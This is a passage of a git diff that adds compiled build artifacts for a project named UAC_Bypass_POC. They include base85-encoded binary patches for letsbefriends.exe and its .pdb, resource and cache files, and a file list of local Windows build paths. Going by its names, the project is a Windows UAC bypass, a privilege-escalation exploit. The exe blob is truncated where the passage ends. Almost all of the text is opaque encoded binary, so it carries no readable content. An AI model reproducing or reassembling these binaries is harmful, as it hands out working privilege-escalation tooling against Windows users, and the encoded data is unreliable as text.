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

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Debug/letsbefriends.pdb b/UAC_Bypass_POC/obj/Debug/letsbefriends.pdb
new file mode 100644
index 0000000000000000000000000000000000000000..73502c68827e04cb95de7e9bdeffaa6743ae3a10
GIT binary patch
literal 28160
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

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Release/TempPE/Properties.Resources.Designer.cs.dll b/UAC_Bypass_POC/obj/Release/TempPE/Properties.Resources.Designer.cs.dll
new file mode 100644
index 0000000000000000000000000000000000000000..3b07dc9477ce4ed39eaf74802f62fea96e57906b
GIT binary patch
literal 3584
zcmeHJU2GIp6h3#l-7ZTh?V<!C>XcH`ADFZtRwA12Pic$P)@}=_!E9$|Z?~hfGt10u
zVKE^!ib`UP#>9j-V|X%w_#lcukG_Z@67)sop@|wFeZU7pK>Y5V*>3p>F}%v%opaCm
z&bjB_bM8HNX6%J`sey<hcy8PvI)`4gK}qjU7NKr=^vf3dbk&9Sb8O#*_NjT(Q_HSX
zboG*I=(g?nYM!fZ#a2yQ&5UQ&l2hQ?nl<q)q3ekuqJ2!E-KQR&4Ix^h&FX5_M-&I5
z1nAFQ=v6#}c!*jh51m-IXtkbZA%tTZXz;i&75{o4iULA=3x3A~_Re&WsQJ#CyQ3;m
zY=uP(^2iEV^Z5}U@{%xuZe^^HWK)S|HJ4kC5w2knu!!xJ1p!V0y{Gmy;ulS<O`%4*
zrV_o~M8pJm5A89f3lU-CdWhEbDYOed;H!;}fkqzqhsC2?H<JsYd=a52U8`X2z&`G+
z23g&-DC`33=3a`y4g4^IQiKjappkelMSC`rvM7X}njYsEdeBg>bRki3>e=r_iK1O=
zAo$QKi^2qsQ`x;K7Dg&ky0BgA({}a^Y#)GtTv(v<n4#ks(U0h_2|nw)rd{-e#l=RP
zUGyE(S=xjt#4+m_o*vDh-wJsap>(7yCl6UP3}*)({D>iBqN{8Ntq=0t1`$h=4^l5z
zgvH7uA#jY7I&sF~Qp!ZHGr=P;>S0wSN_!=}PIJmy`WQpv^erWUF9C_t84@;^l}jv2
z{mM!3?aEaar;}uZwlP6prQe~QB4N`f=@n(I5~sI;i<yG?f{eA&hsqa9J20TEm41M<
z6RT{*7W~AX2R%g7peoJKgepeAwqXXdGCC-w_hZ|X7a^Srr5VaY`YMz-6(M~ir4M4i
zDka4Hi<I7wUKILGO7CsRDXz>1qj}_YMq!v!%(D?RPTiob)Gv`;lIo!ADJl6wD4Q)<
z=buV1jRNT-Q{pFR9W1)(DLTM3oV??t0eJ`XAv#TI>Y&d+d+Be`9iXGq(vZ9X?RDBj
z1GF3KV#tWt!G2`{v`Vjl{-G>FqW~9ABWxm|qV}37vIv8l+G(U$?0>C|$Ww7Eb}85z
zVYGY9DO4=}43#{?aV;}X*{W^KyN+!h<pnD6IlW@}qqgVkw!vw#V*6%^PgTo&M7IkT
zr(y03X^-oaLPUsE<bE!VkrkJdw}N-M=TuyS*L2Bp*)k2?Hyu06eP7f{O7}Po6-?i8
zQ?7H^)AJV3`nu04?Uc%<#ob|Ua~D7%>7%^z6{wb>G~O6>IK%UmVv)PgIrg;2-8(6T
z`}%-e=B+D&x#dD9xuqYGoLAR}nGt4C<xR`<t99*yZdEu^>-oH-2^+`ewvXI%izZyB
z%w6B)o;Dd~$I~+0GmD5)Gd!(eS>pLmhT$Ak%k!9S*Qd4T%wh$JL$Yh&Fzy@OGLPN_
zPVza68`3P?r%`*(k$YNOA^hsdYt4;FY{m&f6FWqjf$am8T^M)9)Qh&``KIC3#)Vmv
zDG}qc++8pYUf0(WLcvbre2AoZG@VT6Qq{8VdAW)4v{ug{)s7L3=U+k)a@CpO7)w6s
zdAyXjszk%nsM|E<P}fx|lTIFfIhw#5K8@;~AeS8A9KDZP$3X@<DSL-1Kn=-@GWzc9
zU+2F+F_L++eCp-yD`(G8L}e`2pb~2Y)7I9gDy*eN^4pr48k9t5q7%1UVprSK5tS0j
zsL&^pktUYt7Nl7yhY~}v&yOD5zwz;<6AjTsC!TIR&A8YToq}}ZIuHZEHsju4k(f|`
zbPLiPW8pW&BjVbfQq~`E^)f19=!n6~Vt1!d=Z8H8yC!)fBpK}p_o}wfo;Kw;mZ#x8
z=GaB6DvG;MQ>H4WRp4%{{|USa@xyyk_?cn!?3ih|j_1tz+J4ik=vLOR6ii18$_wto
zT3<fqH6V)}w)h^Lg|MO>>3$$^kCg_u+b7|7h{*kU!K;G1z16-~0!=RMxEaeD(@i_L
k?>Lu*CA2p>;X{7;-R|W+vYY`m_?*1_<T7%f`5$HAUvX9&O8@`>

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.Properties.Resources.resources b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.Properties.Resources.resources
new file mode 100644
index 0000000000000000000000000000000000000000..06c24d06c1cab750788146ce052b37770f3fa530
GIT binary patch
literal 180
zcmX?i>is@O1_p+SK%5g?SzMBus~417oL^d$oLUTL1*ImYq!#HY<Q6CA7v*Fo=_rJy
z78Pga=h+(R8GxXUf^%t3Noi54ZC+|=Nl{{sjzU0bQch;FcWPxwes*e}ZIZcpqG__J
onW3ezNveT`r81^vrFkWpxv4PQgHubGfR2KJ07n-P+5+SQ04QuaDF6Tf

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.CoreCompileInputs.cache b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..10829e5
--- /dev/null
+++ b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+8a5066119e30328f113c99b8564bf0e33b3e4f43
diff --git a/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.FileListAbsolute.txt b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..c80a5d8
--- /dev/null
+++ b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.FileListAbsolute.txt
@@ -0,0 +1,8 @@
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Release\letsbefriends.exe.config
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Release\letsbefriends.exe
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Release\letsbefriends.pdb
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Release\UAC_Bypass_POC.Properties.Resources.resources
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Release\UAC_Bypass_POC.csproj.GenerateResource.cache
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Release\UAC_Bypass_POC.csproj.CoreCompileInputs.cache
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Release\letsbefriends.exe
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Release\letsbefriends.pdb
diff --git a/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.GenerateResource.cache b/UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.GenerateResource.cache
new file mode 100644
index 0000000000000000000000000000000000000000..df2219d728de0f9a6c12fe42490b98e9b629521e
GIT binary patch
literal 789
zcma)3%}OId5T2M!oFp#9gNW!M$Q}eklMq6@goTaxg9^Hec+f*<x`u7inGRh&V)hC4
znS2A^z=!Z1v?{1b9K<?&GhJQ%)mQZeg&+u?Dfr8=v_NokqGM;#CSLr`v{B+h;t0iU
zM|7KwOK_-d+NXnPiB_{Q$c)b%^i#;Zlcw1?&4xzDM=-sxBS`zhRwwBuy`<e%-Inag
zkb7<AxA+6N59uyUAXSjY8j$r=9N^WSHh`-`iEymb5hy<IY6r2mZdxjA<`d3S&FG56
zSq&M#@ru<hsSk>Z8|PE>Fct%A47I0apg55D*UO=SS%VV2DKUImx=01pV=L93<RKPc
zHyaJ?cp@FRI+G5pf>UR2wE`D$;#~iO5-k_Ym(pZ_K~O9PVOWdudL6!T{mjvP_=*4N
zZ08rxTdmdzD<MOfpw54MQD)6+q-O%olRMXBn9W=aD9EF`Iu~<YB_aqJ+WEeGHhP;<
zGn095HS_K<uD*LXWzV-0f>e%SeJ*b#`V*^kqCu_9-NBtkk7bhfqcC%*!XkN?Ai9U%
M!{h(LGN(9dFIC3rz5oCK

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Release/letsbefriends.exe b/UAC_Bypass_POC/obj/Release/letsbefriends.exe
new file mode 100644
index 0000000000000000000000000000000000000000..c0f797dcbd9c16f97ef8b0b1dca6738dd64823bc
GIT binary patch
literal 8704
zcmeHMeQX@Zb$@#wOY&r$#nYE1x$^2{F%(4}zeLMaM2X~)l30ln&7<Ux(xvzAhNq48
zcF((eG-(6!8G?gY3DBsHowgBB#4&0ZM&qP#;5cq-xF0T>#zB#~ZQ3Mi90UoP05xh9
zEz%}(e{Xh|cO(T{M*j+sA@}XfdvD(S=FQjJxyk!JO;I9>;d$>pqOao3X;{+tCpCzZ
zw|y;1FSWe6>#NGiH+RjPGhD6W*d<3VYX#l1Y){Jz&8b?NVQFKhb6VLhip=`;iQ5Cy
zQ{zM@l_<UT?Qi}pZ0!e>rgcgW(JkOK``r8Pz+1yJjE9MaSH#DSoW##>s^I~jQ-p>e
zC)yzY>+hiGtB?x2r#U}N^j17zHohJpx(Vf}0irt_`5%<mmZ3|{W|WUN)X8{a(L?!x
zEg+D|z6Q8al1YO&<G4-%C5deq85PfVJPm0W=rfKmZ74EUdH@gG((p8-VWQE7qRbv-
zzalZV2*qi3H_@S1A_Zl*Uj4oO^*O<MACz|V#OXUwLjBhE6j8$62%>3#V{bz4;Ij}q
zkXG8kQrjG~6=nzP*>XMmLYQsejQTeGl}PMyeh#j>)!vHI9_N2i*zzeLSGG%zjfs<R
zx3O%i4QD0xY_WGp%^eC=>|14aA7_69+4h|vZC9ghSE>CrWNi(k!&z=uwk3(*UWbAy
zMRb9BU!>^GXmn#wln#P}4z*s`h00C|wj=FnWVhOYl}M=VQS^4pHKlXQY7HAp0SX=I
z$fj!wG&*QUPehIfs<cMjJyLA9;bngWWZk|kO?Epn9uLz^&6}=8J7dl3ukL8F_k!E?
z!>fs=PPNJIK;e6`SDQLoIuvv|LK`VPKnX@q)I<kIeEi(r0dQhy&v^vU+mTb(H33g&
